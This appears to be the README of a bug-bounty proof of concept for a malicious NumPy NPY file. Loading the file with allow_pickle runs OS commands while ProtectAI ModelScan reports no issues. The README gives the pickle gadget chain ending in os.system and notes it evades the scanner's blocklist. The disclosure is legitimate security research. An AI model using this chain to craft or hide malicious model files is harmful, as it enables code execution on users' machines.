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NPY ACE Scanner Bypass PoC

Huntr Bug Bounty - Model File Formats (NPY / ProtectAI ModelScan)

bypass_v5.npy is a 271-byte malicious NumPy NPY file that:

Executes arbitrary OS commands via np.load(allow_pickle=True)
Passes ProtectAI ModelScan v0.8.8 NumpyUnsafeOpScan with zero detections (total_issues: 0, exit 0)

Load the file with numpy:

import numpy as np
data = np.load('bypass_v5.npy', allow_pickle=True)
# ACE fires on load

modelscan scan -p bypass_v5.npy -r json
# result: total_issues=0, issues=[], exit 0

importlib.import_module -> builtins.vars -> operator.getitem -> os.system

None of these GLOBALs appear on ModelScan's NumpyUnsafeOpScan blocklist.

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